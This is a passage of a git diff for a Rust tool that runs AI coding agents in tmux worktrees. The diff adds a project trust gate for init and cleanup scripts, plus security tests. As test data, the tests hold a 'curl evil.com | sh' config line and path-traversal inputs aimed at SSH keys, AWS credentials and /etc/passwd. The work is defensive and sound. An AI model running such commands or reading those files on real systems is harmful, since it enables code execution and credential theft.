if let Some(ref popup) = state.plugin_select_popup {
let popup_area = centered_rect(50, 40, area);
@@ -2478,6 +2554,11 @@ impl App {
return self.handle_review_confirm_key(key);
}
+ // Handle trust confirmation popup if open
+ if self.state.trust_confirm_popup.is_some() {
+ return self.handle_trust_confirm_key(key);
+ }
+
// Handle diff popup if open
if self.state.diff_popup.is_some() {
return self.handle_diff_popup_key(key);
@@ -2606,6 +2687,31 @@ impl App {
Ok(())
}
+ fn handle_trust_confirm_key(&mut self, key: crossterm::event::KeyEvent) -> Result<()> {
+ let _ = key;
+ if let Some(popup) = self.state.trust_confirm_popup.clone() {
+ self.state.trust_confirm_popup = None;
+ // Trust the project: save hash to trust store
+ let mut store = crate::config::TrustStore::load().unwrap_or_default();
+ if let Err(e) = store.trust_project(&popup.project_path) {
+ self.state.warning_message =
+ Some((format!("Failed to trust project: {}", e), Instant::now()));
+ return Ok(());
+ }
+ // Re-enable scripts by reloading project config and re-merging
+ let project_config =
+ crate::config::ProjectConfig::load(&popup.project_path).unwrap_or_default();
+ let global_config = crate::config::GlobalConfig::load().unwrap_or_default();
+ self.state.config = crate::config::MergedConfig::merge(&global_config, &project_config);
+ self.state.flags.no_init_scripts = false;
+ self.state.warning_message = Some((
+ "Project trusted. init_script, cleanup_script, and copy_files are now active.".to_string(),
+ Instant::now(),
+ ));
+ }
+ Ok(())
+ }
+
fn open_plugin_select_popup(&mut self) {
let current = self
.state
@@ -2718,7 +2824,11 @@ impl App {
let tmux_ops = Arc::clone(&self.state.tmux_ops);
let git_ops = Arc::clone(&self.state.git_ops);
let task_id = task.id.clone();
- let cleanup_script = self.state.config.cleanup_script.clone();
+ let cleanup_script = if self.state.flags.no_init_scripts {
+ None
+ } else {
+ self.state.config.cleanup_script.clone()
+ };
std::thread::spawn(move || {
cleanup_task_resources(
&task_id,
@@ -4175,9 +4285,14 @@ impl App {
fn perform_delete_task(&mut self, task_id: &str) -> Result<()> {
if let (Some(db), Some(project_path)) = (&self.state.db, &self.state.project_path) {
if let Some(task) = db.get_task(task_id)? {
+ let cleanup_script = if self.state.flags.no_init_scripts {
+ None
+ } else {
+ self.state.config.cleanup_script.clone()
+ };
delete_task_resources(
&task,
- self.state.config.cleanup_script.as_deref(),
+ cleanup_script.as_deref(),
project_path,
self.state.tmux_ops.as_ref(),
self.state.git_ops.as_ref(),
@@ -4424,7 +4539,12 @@ impl App {
.unwrap_or_else(|| self.state.config.base_branch.clone());
let worktree_dir = self.state.config.worktree_dir.clone();
let copy_files = self.state.config.copy_files.clone();
- let init_script = self.state.config.init_script.clone();
+ let init_script = if self.state.flags.no_init_scripts {
+ None
+ } else {
+ self.state.config.init_script.clone()
+ };
+ let skip_init_scripts = self.state.flags.no_init_scripts;
let tmux_ops = Arc::clone(&self.state.tmux_ops);
let git_ops = Arc::clone(&self.state.git_ops);
let agent_ops = self.state.agent_registry.get(&planning_agent);
@@ -4484,6 +4604,7 @@ impl App {
git_ops.as_ref(),
agent_ops.as_ref(),
&referenced_tasks,
+ skip_init_scripts,
);
match result {
@@ -4704,7 +4825,11 @@ impl App {
let git_ops = Arc::clone(&self.state.git_ops);
let task_id_clone = task.id.clone();
let project_path_clone = project_path.to_path_buf();
- let cleanup_script = self.state.config.cleanup_script.clone();
+ let cleanup_script = if self.state.flags.no_init_scripts {
+ None
+ } else {
+ self.state.config.cleanup_script.clone()
+ };
std::thread::spawn(move || {
cleanup_task_resources(
&task_id_clone,
@@ -4780,7 +4905,12 @@ impl App {
.unwrap_or_else(|| self.state.config.base_branch.clone());
let worktree_dir = self.state.config.worktree_dir.clone();
let copy_files = self.state.config.copy_files.clone();
- let init_script = self.state.config.init_script.clone();
+ let init_script = if self.state.flags.no_init_scripts {
+ None
+ } else {
+ self.state.config.init_script.clone()
+ };
+ let skip_init_scripts = self.state.flags.no_init_scripts;
let tmux_ops = Arc::clone(&self.state.tmux_ops);
let git_ops = Arc::clone(&self.state.git_ops);
@@ -4820,6 +4950,7 @@ impl App {
git_ops.as_ref(),
agent_ops.as_ref(),
&[],
+ skip_init_scripts,
);
match result {
@@ -5033,7 +5164,12 @@ impl App {
.unwrap_or_else(|| self.state.config.base_branch.clone());
let worktree_dir = self.state.config.worktree_dir.clone();
let copy_files = self.state.config.copy_files.clone();
- let init_script = self.state.config.init_script.clone();
+ let init_script = if self.state.flags.no_init_scripts {
+ None
+ } else {
+ self.state.config.init_script.clone()
+ };
+ let skip_init_scripts = self.state.flags.no_init_scripts;
let tmux_ops = Arc::clone(&self.state.tmux_ops);
let git_ops = Arc::clone(&self.state.git_ops);
let agent_ops = self.state.agent_registry.get(&running_agent);
@@ -5065,6 +5201,7 @@ impl App {
git_ops.as_ref(),
agent_ops.as_ref(),
&[],
+ skip_init_scripts,
);
match result {
@@ -5341,6 +5478,12 @@ impl App {
}
fn execute_transition_request(&mut self, req: &TransitionRequest) -> Result<()> {
+ tracing::info!(
+ task_id = %req.task_id,
+ action = %req.action,
+ "Processing transition request"
+ );
+
let Some(db) = &self.state.db else {
anyhow::bail!("No project database");
};
@@ -6575,6 +6718,12 @@ fn run_cleanup_script_for_worktree(cleanup_script: Option<&str>, worktree_path:
return;
}
+ tracing::info!(
+ script = script,
+ worktree = %worktree_path.display(),
+ "Executing cleanup_script"
+ );
+
match git::run_worktree_script(script, worktree_path, &[]) {
Err(e) => eprintln!("cleanup_script failed to run: {}", e),
Ok(output) => {
@@ -6702,6 +6851,7 @@ fn setup_task_worktree(
git_ops: &dyn GitOperations,
agent_ops: &dyn AgentOperations,
referenced_tasks: &[ReferencedTaskInfo],
+ skip_init_scripts: bool,
) -> Result<String> {
let unique_slug = generate_task_slug(&task.id, &task.title);
let window_name = format!("task-{}", unique_slug);
@@ -6799,28 +6949,36 @@ fn setup_task_worktree(
// Run plugin init_script (in addition to project init_script)
// Supports {agent} placeholder for agent-specific initialization
- if let Some(ref p) = plugin {
- if let Some(ref script) = p.init_script {
- let script = script.replace("{agent}", agent_name);
- let output = std::process::Command::new("sh")
- .arg("-c")
- .arg(&script)
- .current_dir(&worktree_path_str)
- .output();
- match output {
- Ok(o) if !o.status.success() => {
- let stderr = String::from_utf8_lossy(&o.stderr);
- anyhow::bail!(
- "Plugin init_script failed (exit {}): {}\n{}",
- o.status.code().unwrap_or(-1),
- script,
- stderr.trim()
- );
- }
- Err(e) => {
- anyhow::bail!("Plugin init_script failed to run: {}\n{}", script, e);
+ if !skip_init_scripts {
+ if let Some(ref p) = plugin {
+ if let Some(ref script) = p.init_script {
+ let script = script.replace("{agent}", agent_name);
+ tracing::info!(
+ script = %script,
+ agent = agent_name,
+ worktree = %worktree_path_str,
+ "Executing plugin init_script"
+ );
+ let output = std::process::Command::new("sh")
+ .arg("-c")
+ .arg(&script)
+ .current_dir(&worktree_path_str)
+ .output();
+ match output {
+ Ok(o) if !o.status.success() => {
+ let stderr = String::from_utf8_lossy(&o.stderr);
+ anyhow::bail!(
+ "Plugin init_script failed (exit {}): {}\n{}",
+ o.status.code().unwrap_or(-1),
+ script,
+ stderr.trim()
+ );
+ }
+ Err(e) => {
+ anyhow::bail!("Plugin init_script failed to run: {}\n{}", script, e);
+ }
+ _ => {}
}
- _ => {}
}
}
}
@@ -6838,6 +6996,13 @@ fn setup_task_worktree(
// Ensure project tmux session exists
ensure_project_tmux_session(tmux_project_name, project_path, tmux_ops);
+ tracing::info!(
+ task_id = %task.id,
+ agent = agent_name,
+ worktree = %worktree_path_str,
+ "Agent session spawned"
+ );
+
tmux_ops.create_window(
tmux_project_name,
&window_name,
@@ -7888,6 +8053,12 @@ fn wait_for_prompt_trigger(
if stable_ticks >= 4 {
for rule in auto_dismiss {
if rule.detect.iter().all(|p| content.contains(p.as_str())) {
+ tracing::info!(
+ target = target,
+ patterns = ?rule.detect,
+ response = %rule.response,
+ "Auto-dismiss rule triggered"
+ );
for key in rule.response.split('\n') {
let _ = tmux_ops.send_keys_literal(target, key);
std::thread::sleep(std::time::Duration::from_millis(100));
diff --git a/src/tui/app_tests.rs b/src/tui/app_tests.rs
index 1c281a7..ccd8981 100644
--- a/src/tui/app_tests.rs
+++ b/src/tui/app_tests.rs
@@ -1544,6 +1544,7 @@ fn test_setup_task_worktree_success() {
&mock_git,
&mock_agent,
&[],
+ false,
);
assert!(result.is_ok());
@@ -1597,6 +1598,7 @@ fn test_setup_task_worktree_sets_task_fields() {
&mock_git,
&mock_agent,
&[],
+ false,
)
.unwrap();
@@ -1658,6 +1660,7 @@ fn test_setup_task_worktree_worktree_creation_fails() {
&mock_git,
&mock_agent,
&[],
+ false,
);
// Should succeed despite worktree creation failure (uses fallback path)
@@ -1714,6 +1717,7 @@ fn test_setup_task_worktree_tmux_window_fails() {
&mock_git,
&mock_agent,
&[],
+ false,
);
// Should propagate the error
@@ -1766,6 +1770,7 @@ fn test_setup_task_worktree_creates_session_when_missing() {
&mock_git,
&mock_agent,
&[],
+ false,
);
assert!(result.is_ok());
@@ -1821,6 +1826,7 @@ fn test_setup_task_worktree_passes_init_config() {
&mock_git,
&mock_agent,
&[],
+ false,
);
assert!(result.is_ok());
diff --git a/tests/config_tests.rs b/tests/config_tests.rs
index e929672..d5013ef 100644
--- a/tests/config_tests.rs
+++ b/tests/config_tests.rs
@@ -394,3 +394,155 @@ color_popup_header = "#69fae7"
let merged = MergedConfig::merge(&config, &ProjectConfig::default());
assert!(merged.fullscreen_on_enter, "merged fullscreen_on_enter should be true");
}
+
+// === Plugin Name Validation Tests (Fix 1) ===
+
+use agtx::config::WorkflowPlugin;
+
+#[test]
+fn test_plugin_name_rejects_path_traversal() {
+ assert!(WorkflowPlugin::validate_plugin_name("../etc").is_err());
+ assert!(WorkflowPlugin::validate_plugin_name("foo/bar").is_err());
+ assert!(WorkflowPlugin::validate_plugin_name("foo\\bar").is_err());
+ assert!(WorkflowPlugin::validate_plugin_name("..").is_err());
+ assert!(WorkflowPlugin::validate_plugin_name("").is_err());
+}
+
+#[test]
+fn test_plugin_name_rejects_dot_prefix() {
+ assert!(WorkflowPlugin::validate_plugin_name(".hidden").is_err());
+ assert!(WorkflowPlugin::validate_plugin_name("..sneaky").is_err());
+}
+
+#[test]
+fn test_plugin_name_rejects_special_characters() {
+ assert!(WorkflowPlugin::validate_plugin_name("foo bar").is_err());
+ assert!(WorkflowPlugin::validate_plugin_name("foo@bar").is_err());
+ assert!(WorkflowPlugin::validate_plugin_name("foo$bar").is_err());
+ assert!(WorkflowPlugin::validate_plugin_name("../../etc/passwd").is_err());
+}
+
+#[test]
+fn test_plugin_name_accepts_valid_names() {
+ assert!(WorkflowPlugin::validate_plugin_name("agtx").is_ok());
+ assert!(WorkflowPlugin::validate_plugin_name("spec-kit").is_ok());
+ assert!(WorkflowPlugin::validate_plugin_name("my_plugin_2").is_ok());
+ assert!(WorkflowPlugin::validate_plugin_name("GSD").is_ok());
+ assert!(WorkflowPlugin::validate_plugin_name("a").is_ok());
+}
+
+#[test]
+fn test_plugin_dir_returns_none_for_invalid_name() {
+ // Path traversal names should return None, not panic
+ assert!(WorkflowPlugin::plugin_dir("../evil", None).is_none());
+ assert!(WorkflowPlugin::plugin_dir("", None).is_none());
+ assert!(WorkflowPlugin::plugin_dir("foo/bar", None).is_none());
+}
+
+#[test]
+fn test_plugin_load_rejects_invalid_name() {
+ let result = WorkflowPlugin::load("../etc/passwd", None);
+ assert!(result.is_err());
+ let err_msg = result.unwrap_err().to_string();
+ assert!(err_msg.contains("invalid characters"));
+}
+
+// === TrustStore Tests (Fix 9) ===
+
+use agtx::config::TrustStore;
+use tempfile::TempDir;
+
+#[test]
+fn test_trust_store_default_is_empty() {
+ let store = TrustStore::default();
+ assert!(store.projects.is_empty());
+}
+
+#[test]
+fn test_trust_store_is_trusted_no_config_file() {
+ // A project with no .agtx/config.toml should be trusted (nothing to distrust)
+ let temp_dir = TempDir::new().unwrap();
+ let store = TrustStore::default();
+ assert!(store.is_trusted(temp_dir.path()));
+}
+
+#[test]
+fn test_trust_store_untrusted_when_config_exists_but_not_stored() {
+ let temp_dir = TempDir::new().unwrap();
+ let config_dir = temp_dir.path().join(".agtx");
+ std::fs::create_dir_all(&config_dir).unwrap();
+ std::fs::write(config_dir.join("config.toml"), "init_script = \"echo hello\"").unwrap();
+
+ let store = TrustStore::default();
+ // Config exists but no stored hash β€” untrusted
+ assert!(!store.is_trusted(temp_dir.path()));
+}
+
+#[test]
+fn test_trust_store_hash_config_returns_some_when_config_exists() {
+ let temp_dir = TempDir::new().unwrap();
+ let config_dir = temp_dir.path().join(".agtx");
+ std::fs::create_dir_all(&config_dir).unwrap();
+ std::fs::write(config_dir.join("config.toml"), "init_script = \"echo hello\"").unwrap();
+
+ let hash = TrustStore::hash_config(temp_dir.path());
+ assert!(hash.is_some());
+ // SHA-256 hex digest is 64 chars
+ assert_eq!(hash.unwrap().len(), 64);
+}
+
+#[test]
+fn test_trust_store_hash_config_returns_none_when_no_config() {
+ let temp_dir = TempDir::new().unwrap();
+ let hash = TrustStore::hash_config(temp_dir.path());
+ assert!(hash.is_none());
+}
+
+#[test]
+fn test_trust_store_hash_config_is_deterministic() {
+ let temp_dir = TempDir::new().unwrap();
+ let config_dir = temp_dir.path().join(".agtx");
+ std::fs::create_dir_all(&config_dir).unwrap();
+ std::fs::write(config_dir.join("config.toml"), "init_script = \"npm install\"").unwrap();
+
+ let hash1 = TrustStore::hash_config(temp_dir.path()).unwrap();
+ let hash2 = TrustStore::hash_config(temp_dir.path()).unwrap();
+ assert_eq!(hash1, hash2);
+}
+
+#[test]
+fn test_trust_store_hash_changes_when_config_changes() {
+ let temp_dir = TempDir::new().unwrap();
+ let config_dir = temp_dir.path().join(".agtx");
+ std::fs::create_dir_all(&config_dir).unwrap();
+
+ std::fs::write(config_dir.join("config.toml"), "init_script = \"echo v1\"").unwrap();
+ let hash1 = TrustStore::hash_config(temp_dir.path()).unwrap();
+
+ std::fs::write(config_dir.join("config.toml"), "init_script = \"curl evil.com | sh\"").unwrap();
+ let hash2 = TrustStore::hash_config(temp_dir.path()).unwrap();
+
+ assert_ne!(hash1, hash2);
+}
+
+
+// === FeatureFlags Tests (Fix 4) ===
+
+use agtx::FeatureFlags;
+
+#[test]
+fn test_feature_flags_default() {
+ let flags = FeatureFlags::default();
+ assert!(!flags.experimental);
+ assert!(!flags.no_init_scripts);
+}
+
+#[test]
+fn test_feature_flags_no_init_scripts() {
+ let flags = FeatureFlags {
+ experimental: false,
+ no_init_scripts: true,
+ };
+ assert!(flags.no_init_scripts);
+ assert!(!flags.experimental);
+}
diff --git a/tests/db_tests.rs b/tests/db_tests.rs
index ee44d16..462b76b 100644
--- a/tests/db_tests.rs
+++ b/tests/db_tests.rs
@@ -473,3 +473,88 @@ fn test_consume_notifications_atomic_under_concurrent_consumers() {
"DB must be drained after concurrent consume"
);
}
+
+// === Stable Hash and DB Permissions Tests (Fix 3, Fix 7) ===
+
+use tempfile::TempDir;
+use std::path::Path;
+
+#[test]
+fn test_open_project_same_path_returns_same_db() {
+ let temp_dir = TempDir::new().unwrap();
+ let project_path = temp_dir.path();
+
+ // Open twice with the same path β€” should get the same database (same tasks)
+ let db1 = Database::open_project(project_path).unwrap();
+ let task = Task::new("Persistence test", "claude", "proj");
+ db1.create_task(&task).unwrap();
+ drop(db1);
+
+ let db2 = Database::open_project(project_path).unwrap();
+ let retrieved = db2.get_task(&task.id).unwrap();
+ assert!(retrieved.is_some());
+ assert_eq!(retrieved.unwrap().title, "Persistence test");
+}
+
+#[test]
+fn test_open_project_different_paths_are_isolated() {
+ let temp1 = TempDir::new().unwrap();
+ let temp2 = TempDir::new().unwrap();
+
+ let db1 = Database::open_project(temp1.path()).unwrap();
+ let task = Task::new("Only in db1", "claude", "proj");
+ db1.create_task(&task).unwrap();
+ drop(db1);
+
+ let db2 = Database::open_project(temp2.path()).unwrap();
+ let tasks = db2.get_all_tasks().unwrap();
+ assert!(tasks.is_empty());
+}
+
+#[cfg(unix)]
+#[test]
+fn test_project_db_file_permissions_are_0600() {
+ use sha2::{Digest, Sha256};
+ use std::os::unix::fs::PermissionsExt;
+
+ let temp_dir = TempDir::new().unwrap();
+ let _db = Database::open_project(temp_dir.path()).unwrap();
+
+ // Replicate the same hash logic used by Database::open_project to find
+ // the exact DB file created for this temp dir, avoiding checking unrelated
+ // DB files that may have been created by other tests or real usage.
+ let path_str = temp_dir.path().to_string_lossy();
+ let mut hasher = Sha256::new();
+ hasher.update(path_str.as_bytes());
+ let result = hasher.finalize();
+ let path_hash = format!("{:016x}", u64::from_be_bytes(result[..8].try_into().unwrap()));
+
+ let config_dir = directories::ProjectDirs::from("", "", "agtx").unwrap();
+ let db_path = config_dir
+ .config_dir()
+ .join("projects")
+ .join(format!("{}.db", path_hash));
+
+ assert!(db_path.exists(), "Expected DB file not found at {:?}", db_path);
+ let perms = std::fs::metadata(&db_path).unwrap().permissions();
+ let mode = perms.mode() & 0o777;
+ assert_eq!(mode, 0o600, "DB file should be owner-only read/write");
+}
+
+#[cfg(unix)]
+#[test]
+fn test_global_db_file_permissions_are_0600() {
+ use std::os::unix::fs::PermissionsExt;
+
+ let _db = Database::open_global().unwrap();
+
+ let config_dir = directories::ProjectDirs::from("", "", "agtx")
+ .unwrap();
+ let db_path = config_dir.config_dir().join("index.db");
+
+ if db_path.exists() {
+ let perms = std::fs::metadata(&db_path).unwrap().permissions();
+ let mode = perms.mode() & 0o777;
+ assert_eq!(mode, 0o600, "Global DB file should be owner-only read/write");
+ }
+}
diff --git a/tests/git_tests.rs b/tests/git_tests.rs
index 219d0b7..aefc806 100644
--- a/tests/git_tests.rs
+++ b/tests/git_tests.rs
@@ -567,3 +567,115 @@ fn test_detect_main_branch_public() {
let branch = git::detect_main_branch(temp_dir.path()).unwrap();
assert_eq!(branch, "main");
}
+
+
+// =============================================================================
+// Path traversal validation tests (Fix 2)
+// =============================================================================
+
+#[test]
+fn test_initialize_worktree_rejects_dotdot_traversal() {
+ let temp_dir = setup_git_repo();
+ let worktree_path = git::create_worktree(temp_dir.path(), "traversal-test").unwrap();
+
+ let warnings = git::initialize_worktree(
+ temp_dir.path(),
+ &worktree_path,
+ Some("../../.ssh/id_rsa"),
+ None,
+ &[],
+ );
+ // Should produce a warning about path traversal, not copy the file
+ assert!(!warnings.is_empty());
+ assert!(warnings[0].contains(".."));
+}
+
+#[test]
+fn test_initialize_worktree_rejects_multiple_traversal_paths() {
+ let temp_dir = setup_git_repo();
+ let worktree_path = git::create_worktree(temp_dir.path(), "multi-traversal").unwrap();
+
+ let warnings = git::initialize_worktree(
+ temp_dir.path(),
+ &worktree_path,
+ Some("../../.ssh/id_rsa, ../../.aws/credentials, ../../../etc/passwd"),
+ None,
+ &[],
+ );
+ // All three should be rejected
+ assert_eq!(warnings.len(), 3);
+ for w in &warnings {
+ assert!(w.contains(".."));
+ }
+}
+
+#[test]
+fn test_initialize_worktree_accepts_valid_nested_path() {
+ let temp_dir = setup_git_repo();
+ let src_dir = temp_dir.path().join("src");
+ std::fs::create_dir_all(&src_dir).unwrap();
+ std::fs::write(src_dir.join("lib.rs"), "fn main() {}").unwrap();
+
+ let worktree_path = git::create_worktree(temp_dir.path(), "valid-nested").unwrap();
+
+ let warnings = git::initialize_worktree(
+ temp_dir.path(),
+ &worktree_path,
+ Some("src/lib.rs"),
+ None,
+ &[],
+ );
+ assert!(warnings.is_empty());
+ assert!(worktree_path.join("src").join("lib.rs").exists());
+}
+
+#[test]
+fn test_initialize_worktree_copy_dirs_rejects_traversal() {
+ let temp_dir = setup_git_repo();
+ let worktree_path = git::create_worktree(temp_dir.path(), "dir-traversal").unwrap();
+
+ // Create a directory outside the project that a symlink could point to
+ let outside_dir = temp_dir.path().join("..");
+ // The copy_dirs path traversal check should catch this
+ let warnings = git::initialize_worktree(
+ temp_dir.path(),
+ &worktree_path,
+ None,
+ None,
+ &["../outside".to_string()],
+ );
+ // The directory doesn't exist so it's silently skipped (is_dir check fails),
+ // but if it did exist and resolved outside, it would be blocked
+ // This test verifies no panic occurs
+ let _ = warnings;
+}
+
+#[test]
+fn test_initialize_worktree_symlink_traversal_blocked() {
+ let temp_dir = setup_git_repo();
+
+ // Create a file outside the project
+ let outside_dir = TempDir::new().unwrap();
+ std::fs::write(outside_dir.path().join("secret.txt"), "sensitive data").unwrap();
+
+ // Create a symlink inside the project pointing outside
+ let link_path = temp_dir.path().join("sneaky-link");
+ #[cfg(unix)]
+ std::os::unix::fs::symlink(outside_dir.path().join("secret.txt"), &link_path).unwrap();
+
+ #[cfg(unix)]
+ {
+ let worktree_path = git::create_worktree(temp_dir.path(), "symlink-test").unwrap();
+
+ let warnings = git::initialize_worktree(
+ temp_dir.path(),
+ &worktree_path,
+ Some("sneaky-link"),
+ None,
+ &[],
+ );
+ // The canonicalized path of the symlink resolves outside the project root
+ assert!(!warnings.is_empty());
+ assert!(warnings[0].contains("outside project root"));
+ }
+}
diff --git a/tests/mcp_tests.rs b/tests/mcp_tests.rs
index 4c87bff..b8b3347 100644
--- a/tests/mcp_tests.rs
+++ b/tests/mcp_tests.rs
@@ -469,3 +469,84 @@ fn test_cleanup_keeps_recently_processed_requests() {
let fetched = db.get_transition_request(&req.id).unwrap();
assert!(fetched.is_some(), "recently processed request should be kept");
}
+
+// === send_to_task Input Validation Tests (Fix 5) ===
+// These test the validation constraints documented in the MCP server.
+// The actual validation runs inside AgtxMcpServer::send_to_task, which requires
+// a full MCP server setup. Here we verify the constraint constants and edge cases
+// at the model level.
+
+#[test]
+fn test_send_to_task_max_message_length_constant() {
+ // The max message length is 4096 bytes as documented in SendToTaskParams
+ // Verify a message at the boundary is representable
+ let msg = "a".repeat(4096);
+ assert_eq!(msg.len(), 4096);
+
+ let over_limit = "a".repeat(4097);
+ assert!(over_limit.len() > 4096);
+}
+
+#[test]
+fn test_null_byte_detection() {
+ // Verify that Rust's contains check works for null bytes
+ // (this is what the server uses for validation)
+ let clean_msg = "Hello, agent!";
+ assert!(!clean_msg.contains('\x00'));
+
+ let dirty_msg = "Hello\x00world";
+ assert!(dirty_msg.contains('\x00'));
+
+ let null_only = "\x00";
+ assert!(null_only.contains('\x00'));
+}
+
+#[test]
+fn test_normal_messages_pass_validation() {
+ // Messages that should pass validation
+ let at_limit = "a".repeat(4096);
+ let messages: Vec<&str> = vec![
+ "Please continue with the implementation",
+ "y",
+ "n",
+ "Run: cargo test",
+ "Multi\nline\nmessage",
+ &at_limit, // exactly at limit
+ ];
+
+ for msg in messages {
+ assert!(msg.len() <= 4096, "Message should be within length limit");
+ assert!(!msg.contains('\x00'), "Message should not contain null bytes");
+ }
+}
+
+#[test]
+#[cfg(feature = "test-mocks")]
+fn test_send_to_task_requires_active_phase() {
+ // Tasks in Backlog, Review, or Done should not accept send_to_task
+ let db = Database::open_in_memory_project().unwrap();
+
+ for status in &[TaskStatus::Backlog, TaskStatus::Review, TaskStatus::Done] {
+ let mut task = Task::new("Test", "claude", "proj");
+ task.status = *status;
+ db.create_task(&task).unwrap();
+
+ // The server checks: !matches!(task.status, TaskStatus::Planning | TaskStatus::Running)
+ assert!(
+ !matches!(task.status, TaskStatus::Planning | TaskStatus::Running),
+ "Status {:?} should not be an active phase for send_to_task",
+ status
+ );
+ }
+
+ // Planning and Running should be allowed
+ for status in &[TaskStatus::Planning, TaskStatus::Running] {
+ let mut task = Task::new("Test", "claude", "proj");
+ task.status = *status;
+ assert!(
+ matches!(task.status, TaskStatus::Planning | TaskStatus::Running),
+ "Status {:?} should be an active phase for send_to_task",
+ status
+ );
+ }
+}